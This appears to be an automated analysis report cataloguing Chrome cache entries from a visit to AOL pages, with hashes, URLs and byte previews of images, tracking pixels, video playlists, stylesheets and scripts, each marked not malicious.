URL:	https://s.aolcdn.com/psstatic/aolhelp-prod/18.5.53/assets/img/favicon.ico
Preview:	............ .h...V......... ......... .... .....F...00.... ..%......@@.... .(B...D..(....... ..... ..........................................\H`.\H..\H..\H..\H..\H..\H..\H`.........................\H .\H..\H..\H..\H..\H..\H..\H..\H..\H..\H..\H .............\H .\H..\H..\H..\H..\H..\H..\H..\H..\H..\H..\H..\H..\H .........\H..\H..\H..\H..\H..\H......\H..\H..\H..\H..\H..\H......\H`.\H..\H..\H..\H..\H..\H..........p_..\H..\H..\H..\H..\H..\H`.\H..\H..\H..\H..\H..\H..\H..fS..{j..\H..\H..\H..\H..\H..\H..\H..\H..\H..\H..\H..\H..\H..\H.......\H..\H..\H..\H..\H..\H..\H..\H..\H..\H..\H..\H..\H..\H........\H..\H..\H..\H..\H..\H..\H..\H..\H..\H..\H..\H..\H..\H...........\H..\H..\H..\H..\H..\H..\H..\H..\H..\H..\H..\H..\H..\H........{j..\H..\H..\H..\H..\H..\H..\H..\H..\H..\H..v......v........v..\H..\H..\H..\H..\H..\H`.\H..\H..\H..\H..p_..................fS..\H..\H..\H..\H..\H`.....\H..\H..\H..\H..\H..p_......fS..\H..\H..\H..\H..\H..........\H .\H..\H..\H..\H..\H..\H..\H..\H..\

Chrome Cache Entry: 481

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.875
Encrypted:	false
SSDEEP:	3:PUyESyY5hE:PUhu5hE
MD5:	5BF641491A20F2044C51558037392F1A
SHA1:	39676EF27B5C648C57313FAEE7BE8554EA58A4C0
SHA-256:	50BA226E057158000294A012063FE8A58EC82DCE44F29DF8A85A3B2130198ABE
SHA-512:	EDC014AA799F5129CCDE382DD4C28D4C362EDD8C15DED60169AE01A8440C6DB02E3C795F704431F615B4A95710C5E06AA01648E0893F6874C5A5A711015BC7AB
Malicious:	false
Reputation:	low
URL:	https://manifest.prod.boltdns.net/license/v1/aes128/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/04cd0196-5ce1-4316-ad15-e975ff605a08?fastly_token=NjY1MDFjZDhfNjg3MWY1ZTc1M2I3NDJhN2FkM2Q4MzNkZWYzNTA4NTYwYWI1MTM0NjI5NjY2ODVjNzEyMzhkODkzMjI2YWViZg%3D%3D&bcov_auth=eyJhbGciOiJSUzI1NiJ9.eyJhdWQiOlsicGxheWJhY2suYXBpLmJyaWdodGNvdmUuY29tIl0sImFjY2lkIjoiNjQxNTY2NTgxNTAwMSIsInBraWQiOiI5MjE4NDMyMC04ZmYzLTQ1ZTktYjYwMC05OTBmODIyYzg2NjciLCJleHAiOjE3MTY1MDM5OTQsImlhdCI6MTcxNjUwMzY5NH0.uHoWDSvgrFiIR3SVLuB6EmG4srk_Rs7pEVtNU2pNnLO5V0ONl6EzrIXuAKS-7Ehp_A0hAqChl2wLDeHmcvhKVRHZdMXuZPAa0teF6_WlM7x_n5mysSGWagfKZz6U3IoR1Is_FTilvI1ukUt9fzC7oJGyS_6fauGBbE2jDx8anRk7uhpa7HiwLMhiiCIrj9--KEoK78fLQpz3g7RRWud41g_IOKl2wyeGVnaepIPAEae4VJ1wfXej4XKAVthy_qPtpnsC_JM1cvZtr2DHcTWh5RFLLP8pFo_pLjsaNLh3SU9Yq5AvszXMahu6K_ZWhSmyWPgnxhKD0hQUzkoRHc9f5w
Preview:	..g......b......

Chrome Cache Entry: 482

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 300x300, components 3
Category:	dropped
Size (bytes):	14932
Entropy (8bit):	7.96966015177016
Encrypted:	false
SSDEEP:	384:IOEcwYl+A+fQK5N9GKyk1Nr95/HBDxYmsleAzT:upYl/eQO9G+5TpymQeAzT
MD5:	2F8FC50A1D68C54977EDCAA328C131A5
SHA1:	0654C7635BA82684A5CAD746830356F373AE7B29
SHA-256:	0A4609CB74F9420F08A21F80C36B924EDF75AE541CB6FFE74AF6595B67D9612E
SHA-512:	FF4AC25E2897977F57229F7B4593042EFFD2CCADE8B5E0A3B4CF415D86DCDF55AA54F66F783E9563C861B2C5742E96E174D153EBB5090FBF1DED99113727AE5D
Malicious:	false
Reputation:	low
Preview:	......JFIF...........................................,. .. .,'/&$&/'F7117FQD@DQbXXb\|v\|................................,. .. .,'/&$&/'F7117FQD@DQbXXb\|v\|.........,.,.."..........4..................................................................0z..<i.R^4......M...K...R..C./!>.%.&..1WiO]9H.'>....0b-....j\|.\..2.e...$s...V.....ud9..(...FZ...p...(e.n,jO....R....P.N.3...{....ik...6@..j9Z.k`.u.8Vn.....S[.S.s!.......!.q...+.6...cP...OPsJ..x....(..S.o..V.S......_......l$.m.........+..\M.....Y..O$!B.gu...P....G.......fx.;r.&..,. ....T...K....Pn,E.d...2..EZ....pvM. ...:AN.^...wv.....=.%X...T.s.kR.j).m.q...&C...V..d.$_D............V.l..0.B..#."..+r...\|.8.W.3.q..j..R..w...D[.78..[.n...l....&..... q..Wh1.....V.f.a.....&...//...>EI.j...{.P?.t....;IA,.m.g...W..=.[4...f.....W..0J..\Z.4)...7Oc...;....WU.K.V..Q.W...Js..;...5..f.8.&...w..;..v%v.."........z.%j...6/...\|...'.p+.+.?+.*.AG<..cn....+...\|.j$..q.2..Y.....].7...I....7?....eX..}H.>rLl....]i...{.....IU.I....

Chrome Cache Entry: 483

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.142069457963608
Encrypted:	false
SSDEEP:	3:CU1urkltxlHh/:gg/
MD5:	DB04C7B378CB2DB912C3BA8A5A774EE3
SHA1:	DEE34BD86C3484D31002182AA2B7CAA4699126B8
SHA-256:	98B3D9D20E032F90ACA49E9B116225D539FF6FBDB7E42C3C363F63896AC03D2A
SHA-512:	826225FC21717D8861A05B9D2F959539AAD2D2B131B2AFED75D88FBCA535E1B0D5A0DA8AC69713A0876A0D467848A37A0A7F926AEAFAD8CF28201382D16466AB
Malicious:	false
Reputation:	low
URL:	https://ipac.ctnsnet.com/int/cm?exc=14&redir=https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0MTEmdGw9MjAxNjA=&piggybackCookie=[user_id]
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 484

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	304
Entropy (8bit):	6.624410242881031
Encrypted:	false
SSDEEP:	6:6v/lhPf5guVu+u0pyM6YqOoq2lg+9ugLDz3Cqh3UH76zEj54/zUapjp:6v/7JW+tz6WzO4gDjrzY8DpN
MD5:	F80320B7587D5726FC9C575CE8380237
SHA1:	2BCE57CE612EB458C4DAF111B45E53192FAFE74C
SHA-256:	85B6D77868D96A3C1E58BE58978E25FB24FEC4A8E17197C8B3556B919D7BF665
SHA-512:	545B0598BB64F572F74F2EAEF7BE0E6EE340D14E237776593EB176F7266B0ED55A015CAE7DEFC4CB069DDB13A48FB18D76A94810D9B140DF5754FB145F986714
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............(-.S...TPLTEGpL.............................bb......88.ii.....++....KK..ww....VV......kH......tRNS.........1..Q]....IDAT..e.Y.. .@..*.l..v.{N.db......%.u.R0.3y8.4...?.... ..w....(...l9..=.\|.+7~a..U...[.d..T`T....vM%..K..........V............?-...v......IEND.B`.

Chrome Cache Entry: 485

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (5503), with no line terminators
Category:	downloaded
Size (bytes):	5503
Entropy (8bit):	5.376984635806113
Encrypted:	false
SSDEEP:	96:TeUg4KTMgKq8NGOzZZQujpcM8pmB9Q0C3MzDCprDVQ1nGXuX8Avva+b/70ApZV:6Ug4KTyNl/Qm3cy9SMHCpqp86a+joej
MD5:	19720D3A285ABA8024B11FC9955795FE
SHA1:	8E174FF6003772BC71FFAF2B655E23FC4B8794CA
SHA-256:	00A54A79B12A7E6DC344AE20DEA91F7772A088C14CF9B12D4DD8CEFF8B374C11
SHA-512:	B296C7311263B3B153353904B0D65131ED72F70F9A646795C07CE8DD3735329A6D6AAD99BD1C0F74742FC9E515D7CA1E78F44377EBBA55018331A986C93481A0
Malicious:	false
Reputation:	low
URL:	https://opus.analytics.yahoo.com/tag/opus-frame.html?referrer=https%3A%2F%2Fwww.aol.com%2F&tbla_id=e0f330c0-9211-4554-a7eb-a08a7a35420f-tuctd494a14&axids=gam%3Dy-QM7g1aNE2uJx8P1wgixkZr9U8llKQOEG~A%26dv360%3DeS1DRVBhdFY1RTJ1SExXeFFKWHJsbzM0eHJ5amtROU9CNH5B%26ydsp%3Dy-Q1anlJpE2uLNXvog9cXvHne26mx9Lj2d~A%26tbla%3Dy-hQJOddZE2uJ.k4E_AdFKaRd4VpIL_y_h~A&gdpr=false&gdpr_consent=&gpp=DBAA&gpp_sid=-1&us_privacy=1YNN&reset_idsync=1
Preview:	<!DOCTYPE html><html lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"><meta name="viewport" content="width=device-width,initial-scale=1"><script defer="defer">(()=>{"use strict";var t=function(t){if(t)return t;try{return document.location.hostname.match(/[\w]+\.([\w]+\|co.uk)$/)[0]}catch(t){return""}};const e=function(e,n,r,o){(o\|\|window.document).cookie="".concat(e,"=").concat(n,";Max-Age=").concat(31536e3,";Domain=").concat(t(r),";path=/;Secure;SameSite=None")},n=function(t){return new URLSearchParams(document.location.search.slice(1)).get(t)\|\|""};var r,o=function(){var t=new Date("January 1, 2011 00:00:00 GMT").getTime()/1e3,e=(new Date).getTime()/1e3;return parseInt((e-t)/60/60,10)};!function(t){if(r&&!t)return r;var e=function(t){return parseInt(t,36)};r={};var n=function(t,e){for(var n="".concat(t,"="),r=(e\|\|window.document).cookie.split(";"),o=0;o<r.length;o++){var a=(r[o]\|\|"").trim();

Chrome Cache Entry: 486

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	99914B932BD37A50B983C5E7C90AE93B
SHA1:	BF21A9E8FBC5A3846FB05B4FA0859E0917B2202F
SHA-256:	44136FA355B3678A1146AD16F7E8649E94FB4FC21FE77E8310C060F61CAAFF8A
SHA-512:	27C74670ADB75075FAD058D5CEAF7B20C4E7786C83BAE8A32F626F9782AF34C9A33C2046EF60FD2A7878D378E29FEC851806BBD9A67878F3A9F1CDA4830763FD
Malicious:	false
Reputation:	low
URL:	https://api.content.aol.com/content/alert/homepage-alert?site=usaol
Preview:	{}

Chrome Cache Entry: 487

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	M3U playlist, ASCII text, with very long lines (893)
Category:	dropped
Size (bytes):	6637
Entropy (8bit):	5.2259925544861785
Encrypted:	false
SSDEEP:	96:OftKXiCAmZXXWXBXQXLXKX1X0XvXuXKKLR:wU/AmQ
MD5:	06A3C6DA315E3ADF92829D9608213BCA
SHA1:	8E42E0BF14373FA39581FAFB498C197FA8804155
SHA-256:	863CD9B25CFC5658D799E0D66DAA0039B4B67C6E1DC0449759C45BA659EC08CD
SHA-512:	7ECBE7888C052BB96B634C1B5418297E681AE9A2C1B3079FD2E830F626F1D65C986185B24794BF2693B8E96296A6ED1099BA80D43B969D10FBD45FD305A49BC4
Malicious:	false
Reputation:	low
Preview:	#EXTM3U.#EXT-X-VERSION:3.#EXT-X-KEY:METHOD=AES-128,URI="https://manifest.prod.boltdns.net/license/v1/aes128/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/04cd0196-5ce1-4316-ad15-e975ff605a08?fastly_token=NjY1MDFjY2NfNmZmMDg4YjQ5OWFiMzliMjIzNDVjMTAwNzhiY2U1YWMxOTRhYjMyOGFjYWYxYmUwM2JmZGI5OGVjZDI1NDA5ZQ%3D%3D&bcov_auth=eyJhbGciOiJSUzI1NiJ9.eyJhdWQiOlsicGxheWJhY2suYXBpLmJyaWdodGNvdmUuY29tIl0sImFjY2lkIjoiNjQxNTY2NTgxNTAwMSIsInBraWQiOiI5MjE4NDMyMC04ZmYzLTQ1ZTktYjYwMC05OTBmODIyYzg2NjciLCJleHAiOjE3MTY1MDM5OTQsImlhdCI6MTcxNjUwMzY5NH0.uHoWDSvgrFiIR3SVLuB6EmG4srk_Rs7pEVtNU2pNnLO5V0ONl6EzrIXuAKS-7Ehp_A0hAqChl2wLDeHmcvhKVRHZdMXuZPAa0teF6_WlM7x_n5mysSGWagfKZz6U3IoR1Is_FTilvI1ukUt9fzC7oJGyS_6fauGBbE2jDx8anRk7uhpa7HiwLMhiiCIrj9--KEoK78fLQpz3g7RRWud41g_IOKl2wyeGVnaepIPAEae4VJ1wfXej4XKAVthy_qPtpnsC_JM1cvZtr2DHcTWh5RFLLP8pFo_pLjsaNLh3SU9Yq5AvszXMahu6K_ZWhSmyWPgnxhKD0hQUzkoRHc9f5w",IV=0x667a979a2ed802eac07ad1a5152a525e.#EXT-X-PLAYLIST-TYPE:VOD.#EXT-X-MEDIA-SEQUENCE:0.#EXT-X-TARGETDURATION:6.#EXTINF:

Chrome Cache Entry: 488

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.292508224289396
Encrypted:	false
SSDEEP:	3:CUmExltxlSle:JAle
MD5:	55FADE2068E7503EAE8D7DDF5EB6BD09
SHA1:	317496A096D6C86486A71D4521994BCD171A6BB3
SHA-256:	E586A84D8523747F42E510D78E141015B6424CF67D612854E892A7BCEDC8EC9E
SHA-512:	A9ADB9FEEA4BC14B9C34ED17CD30F8CB36DC686E9F69A292FE65BEBC195BE4714391FD98EC7B67BFD363FBBB6089C41A0B7CAB5130B50B461748E668CAC75621
Malicious:	false
Reputation:	low
URL:	https://s.tribalfusion.com/z/i.match?p=b11&redirect=https%3A//simage2.pubmatic.com/AdServer/Pug%3Fvcode%3Dbz0yJnR5cGU9MSZjb2RlPTMzMjYmdGw9MTI5NjAw%26piggybackCookie%3D%24TF_USER_ID_ENC%24&u=${PUBMATIC_UID}
Preview:	GIF89a.............!.......,........@..D..;

Chrome Cache Entry: 489

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	2.7374910194847146
Encrypted:	false
SSDEEP:	3:CU9yltxlHh/:m/
MD5:	DF3E567D6F16D040326C7A0EA29A4F41
SHA1:	EA7DF583983133B62712B5E73BFFBCD45CC53736
SHA-256:	548F2D6F4D0D820C6C5FFBEFFCBD7F0E73193E2932EEFE542ACCC84762DEEC87
SHA-512:	B2CA25A3311DC42942E046EB1A27038B71D689925B7D6B3EBB4D7CD2C7B9A0C7DE3D10175790AC060DC3F8ACF3C1708C336626BE06879097F4D0ECAA7F567041
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 490

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	170
Entropy (8bit):	5.335916817166796
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM5OCAadCmy42/uDlhlbGlo+4/iRXTECLrlxyxtyaC/tIlsg1B:6v/lhPfZMQC19s/6TdKXTECL6yR/iVB
MD5:	E7673C60AF825466F83D46DA72CA1635
SHA1:	FC0FCBEE0835709BA2D28798A612BFD687903FB5
SHA-256:	0B8A20373C6DD04E091902226D922B3688143A8938AFB9D283D889DE7B55CEB5
SHA-512:	F1C33E72643CE366FD578E3B5D393799E8C9EA27B180987826AF43B4FC00B65A4EAAE5E6426A23448956FEE99E3108C6A86F32FB4896C156E24AF0571A11C498
Malicious:	false
Reputation:	low
URL:	https://cm.g.doubleclick.net/pixel?google_nid=gumgum_dbm&google_hm=ZV8xMmVhMWRkMi03N2YwLTQ5ZDgtOGFlZi05MDc2OGUxMmQ3YWM=&gdpr=0&gdpr_consent=&google_redir=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dgdv&google_tc=
Preview:	.PNG........IHDR....................bKGD..............pHYs.................tIME......-Q.7n....tEXtComment.Created with The GIMP.d%n....IDAT..c.iy......+........IEND.B`..

Chrome Cache Entry: 491

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32698)
Category:	downloaded
Size (bytes):	32809
Entropy (8bit):	5.1612064477029795
Encrypted:	false
SSDEEP:	384:5mCribNt2ibhtKrpuGWeQZfsZK5+YK8evKCr5KCKGceOAJHvoyoT6+/v7AcLKt9B:5mCgNtJht+xrtERFf7vA9i8VyhM
MD5:	5D4589FCC2E985FC63E2CDACCFFC0F59
SHA1:	2D360AD8DF01CCBC223A8456CAB9217FEB64A847
SHA-256:	C9282EC3D6B4CD0F48E836A54C5690665AAE066624FEF031EFA8EA943CB7C3AD
SHA-512:	EDAFDA92815E9512529D096D5C5FDE1ED7D1F446D2AD952F50FED1E902B2BC83112F2AE643C28A7B7DCC75A85BF88095BBD399A7B816DAA2D878F4CFA823DF8F
Malicious:	false
Reputation:	low
URL:	https://s.aolcdn.com/caas-assets-production/assets/v1/vendor-glide.5d4589fcc2e985fc.js
Preview:	/! For license information please see vendor-glide.js.LICENSE.txt /.(self.webpackChunkCAAS_AOLCOM=self.webpackChunkCAAS_AOLCOM\|\|[]).push([[3414],{4134:function(t){function e(t,e,n){if(e&&!Array.isArray(e)&&"number"==typeof e.length){var r=e.length;return i(e,void 0!==n&&n<r?n:r)}return t(e,n)}function n(t){return function(t){if(Array.isArray(t))return i(t)}(t)\|\|function(t){if("undefined"!=typeof Symbol&&null!=t[Symbol.iterator]\|\|null!=t["@@iterator"])return Array.from(t)}(t)\|\|function(t,e){if(t){if("string"==typeof t)return i(t,e);var n=Object.prototype.toString.call(t).slice(8,-1);return"Object"===n&&t.constructor&&(n=t.constructor.name),"Map"===n\|\|"Set"===n?Array.from(t):"Arguments"===n\|\|/^(?:Ui\|I)nt(?:8\|16\|32)(?:Clamped)?Array$/.test(n)?i(t,e):void 0}}(t)\|\|function(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function i(t,e){(null==e\|\|e>t.length)&&(e=t.length);for(va

Chrome Cache Entry: 492

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 162 x 82, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	7324
Entropy (8bit):	7.854163891509903
Encrypted:	false
SSDEEP:	192:iknrEB/tBTdMmhFbXmNtKh2zPHe73PnLq9P/Hu4:hnrUrTBmNtKh27eLPLq9PW4
MD5:	08E7E42D20A324381D05381B43BD496C
SHA1:	489C492B09849FBD0D0AFD9D6969EE2FFED5868B
SHA-256:	FFBE68D155920D39932B9EB4C1A4B436F595F448A5EBFEC23EDE37D7C2442700
SHA-512:	D0E0E72A0589362066857582C36BB0BA35C42867772D32CA884757303C425DE07EBDE4FE6DB8F5B606DFAC8734C9C2586CEAC4EFD289DAFD46BCBFAA74C5D716
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/dv/static/siteApp/img/privacy-choice-control.png
Preview:	.PNG........IHDR.......R......`......pHYs...%...%.IR$.....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop 23.1 (Macintosh)" xmp:CreateDate="2022-11-16T11:59:04-08:00" xmp:ModifyDate="2022-11-16T12:00:19-08:00" xmp:MetadataDate="2022-11-16T12:00:19-08:00" dc:format="image/png" photoshop:ColorMode="3" xmpMM:InstanceID="xmp.iid:96771fda-fa8c-4ecd-a4fa-391e4700fa02" xmpMM:DocumentID="xmp.did:96771fda-fa8c-4ecd-a4fa-391e4700fa02" xmpMM:OriginalDocumentID="xmp.did:96771fda-fa8c-4e

Chrome Cache Entry: 493

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	11736
Entropy (8bit):	4.683072216384526
Encrypted:	false
SSDEEP:	192:K+UcmpO7BVAP+tcmpOMZ+ocmpOwuCfB5uYqDoLt+LcmpOYBwEw:tmpO1mmpORmpODPojmpO8w
MD5:	D40C073CA9A5A6000EBF640FCC0A63A9
SHA1:	5FFD966D0A648F9A64FBC32D0809345E88C4EA25
SHA-256:	46C2776774C7B07992CC40A22C5FE0A56BE0A97156336B7B34630973999EEECD
SHA-512:	92670464A131F64B7AF6DFD2659D324EA3D49778F98D1F0D3DB8053D95F4C0BDD2F8DE62D9F5CEB40560F11B51645627AFB486A2A011E1E5234035A156719ABC
Malicious:	false
Reputation:	low
URL:	https://help.aol.com/api/products/recommended
Preview:	{"cpsProductList":[{"sku":"help-central-new-aol-mail","name":"AOL Mail","type":"simple","price":"0.0000","urlSku":"new-aol-mail","showChat":false,"attributes":{"offer_id":null,"svu_product_id":null,"trial_period":null,"obi_product_id":null,"price":"0.0000","myaccount_promo_sku_list":null,"name":"AOL Mail","ls_treatment_name":null,"sku":"help-central-new-aol-mail","status":"1","ls_treatment_short_desc":null,"ls_treatment_sales_pitch":null,"ls_treatment_type":null,"ls_treatment_promo_code":null,"ls_treatment_price_off":null,"help_prod_popular_articles":"overview-of-new-aol-mail,manage-conversations-in-new-aol-mail,search-for-messages-in-new-aol-mail,change-your-sending-name-in-new-aol-mail,account-management-managing-your-aol-password","help_prod_cta1":"Check Your Mail","help_prod_cta1_url":"https://mail.aol.com/","help_prod_cta2":"Try the AOL App","help_prod_cta2_url":"https://aolapps.aol.com/","help_prod_footer_image":null,"help_prod_header_img":null,"help_prod_link1":null,"help_prod_l

Chrome Cache Entry: 494

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 50 x 50, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	1560
Entropy (8bit):	6.350664195370407
Encrypted:	false
SSDEEP:	24:pLvDokSyBKfI4xFLx/4W2IIag0ULF6OYkg4HqXtx0xLjvQPcbwBo:tUkfBKQ4nx/jRwlLF6OYkJq9x0x3YPnW
MD5:	BB47702E4AF53A43492A844FE98F5BA8
SHA1:	76ADD4CA6643408A8A6376136154CA64128F5585
SHA-256:	B9A7AA3EDEA39EA010DF6DC8E14D964FF9E10227BEECC3EFA2843D12B12929A7
SHA-512:	1FF5318CEB15E60200109056C25CFC566868CE0F50F09B1EE6F08430B5CC17D668823DBA946624BC09EB61345090A8D1DA1C4D3274B73119B6ECB03C05B2D324
Malicious:	false
Reputation:	low
URL:	https://s.aolcdn.com/images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2F_f.0rX.8xWRSA.z3Dpizcw--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20200508%2F500x500%2Fpadres_wbgs.png&client=76f99bdb8f78cd44cc0b&signature=7a024194b9142763655abfd6ed1e3e4f6495bf83
Preview:	.PNG........IHDR...2...2.....).x.....PLTEGpL......................................................................................................................................................................................................................................,....................,..6........,........,..,............................................................................................................................................,..1........{.......<..k....Q..v....L.....9..-...../..t.....K.............q..}..D..T...........@........~.......\|..Y....=..........V....h.....^.......I.......4..R....e....;.......A........=..J..a..2.....d....8.......?......5..r..9....P..F........O..u....i..b.....S..c..z....7."......tRNS..SY.....y....&.....To.+./.X.`....x......U....2'..QA,........M3.{=..;...m>h.".w\|.ck.~L..T}......._..z..c\.........l....F1..}..WOu...{d.....oIDATH.c`.3..V.cC.Jn.xu...8z~......D.........vg.Z,.uc..b.p.0..Rp..d$..$t[....E .)..

Chrome Cache Entry: 495

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	M3U playlist, ASCII text, with very long lines (958)
Category:	dropped
Size (bytes):	13500
Entropy (8bit):	6.055001540438785
Encrypted:	false
SSDEEP:	384:wSzAm0QXYC9MsAmJTAmGHAmY45AmULAmvTAmXZAmlAmHxAmGAmXMPAmQkAmO:w5mrPKBmJEmhmYTmUcmcmOmim2mnmcId
MD5:	CD3A94E216EDAE76CB1A776BC0E94E21
SHA1:	CD6D491A96A6F474A8A31956E0F843C61C589A60
SHA-256:	FDBDD0B92BAD14A5A544E2F8979EAB29278D3DAFA590F327BFCD27F93D444B32
SHA-512:	5EC6CFE19AEBED1543C51ABAB1585C313C2D6001A71AE45CCABDE25257C4ACF5A25D12D29B34B9FEA0E3BFA843E27534809508B8BF61C612BFBC774119F665DD
Malicious:	false
Reputation:	low
Preview:	#EXTM3U.#EXT-X-VERSION:4.#EXT-X-MEDIA:TYPE=AUDIO,GROUP-ID="audio-0",NAME="en (Main)",DEFAULT=YES,AUTOSELECT=YES,LANGUAGE="en",URI="https://manifest.prod.boltdns.net/manifest/v1/hls/v4/aes128/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/b9fca259-3844-437c-b64c-0224dc3ed766/6s/rendition.m3u8?fastly_token=NjY1MDFjY2NfNDRjZTNlNmE1ZGViZGNiMTA4M2U2YjU0NTYyNjYxM2YzMzFhOTk4Y2Y4N2M2NDhkMjZkZmI3ZTllMjQ0ZDE2Nw%3D%3D&bcov_auth=eyJhbGciOiJSUzI1NiJ9.eyJhdWQiOlsicGxheWJhY2suYXBpLmJyaWdodGNvdmUuY29tIl0sImFjY2lkIjoiNjQxNTY2NTgxNTAwMSIsInBraWQiOiI5MjE4NDMyMC04ZmYzLTQ1ZTktYjYwMC05OTBmODIyYzg2NjciLCJleHAiOjE3MTY1MDM5OTQsImlhdCI6MTcxNjUwMzY5NH0.uHoWDSvgrFiIR3SVLuB6EmG4srk_Rs7pEVtNU2pNnLO5V0ONl6EzrIXuAKS-7Ehp_A0hAqChl2wLDeHmcvhKVRHZdMXuZPAa0teF6_WlM7x_n5mysSGWagfKZz6U3IoR1Is_FTilvI1ukUt9fzC7oJGyS_6fauGBbE2jDx8anRk7uhpa7HiwLMhiiCIrj9--KEoK78fLQpz3g7RRWud41g_IOKl2wyeGVnaepIPAEae4VJ1wfXej4XKAVthy_qPtpnsC_JM1cvZtr2DHcTWh5RFLLP8pFo_pLjsaNLh3SU9Yq5AvszXMahu6K_ZWhSmyWPgnxhKD0hQUzkoRHc9f5w".#EXT-X-MEDIA:TYPE=

Chrome Cache Entry: 496

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	84325
Entropy (8bit):	4.995330061147145
Encrypted:	false
SSDEEP:	768:8V1CMVrLPLFkPHsy8c0yPokeQPYPlPtPBPVPnPUhPlPtPBPtP3PlPHP8PKPnPkPS:8y0O
MD5:	F181955CB1E46A84514734646610549A
SHA1:	A225EEB0009871B1A8C619D1E18B378172DF747D
SHA-256:	E2326C5588FBE8DAEACC1D75BFDDD287039955774A26807DD91158DE4FA914AA
SHA-512:	A4ED2867030990950CC6E5F01D90FDAC243D06B78368FEFB6E95C68A47EF1729F0F5BA8DB0F27A077860A635593B4C3AAE9E99733D4A8824A4DB30C16FEC8D9D
Malicious:	false
Reputation:	low
URL:	https://s.aolcdn.com/caas-assets-production/assets/v1/aol_header.f181955cb1e46a84.css
Preview:	.m-gam{margin:auto}.m-gam__placeholder{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center;background-color:#e0e4e9;margin:0 auto}.m-gam__placeholder p{margin:0!important;padding:0!important}.m-gam__ad-lbl{margin:0 auto;padding:0;text-align:right;font-size:13px;line-height:1.35;font-family:_OpenSans,OpenSans,Helvetica Neue,helvetica,arial,sans-serif;color:#6e7780}.smartphone .m-gam--loaded{margin:0 -10px}.smartphone .stream-container .m-gam--loaded{margin:0 -25px}.smartphone .caas-body .m-gam--loaded{margin:0 -20px}.m-gam__container--stacked{height:600px;overflow:hidden}.m-gam__container--stacked.m-gam__container--abp{height:617.55px}.mpu--stack .m-gam__container--stacked{height:512px}.mpu--stack .m-gam__container--stacked.m-gam__container--abp{height:547.1px}.m-gam__container--stacked .m-gam--stack-top{margin-bottom:12px}.m-gam__container--stacked .m-g

Chrome Cache Entry: 497

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (1281)
Category:	dropped
Size (bytes):	11629
Entropy (8bit):	5.471395367156483
Encrypted:	false
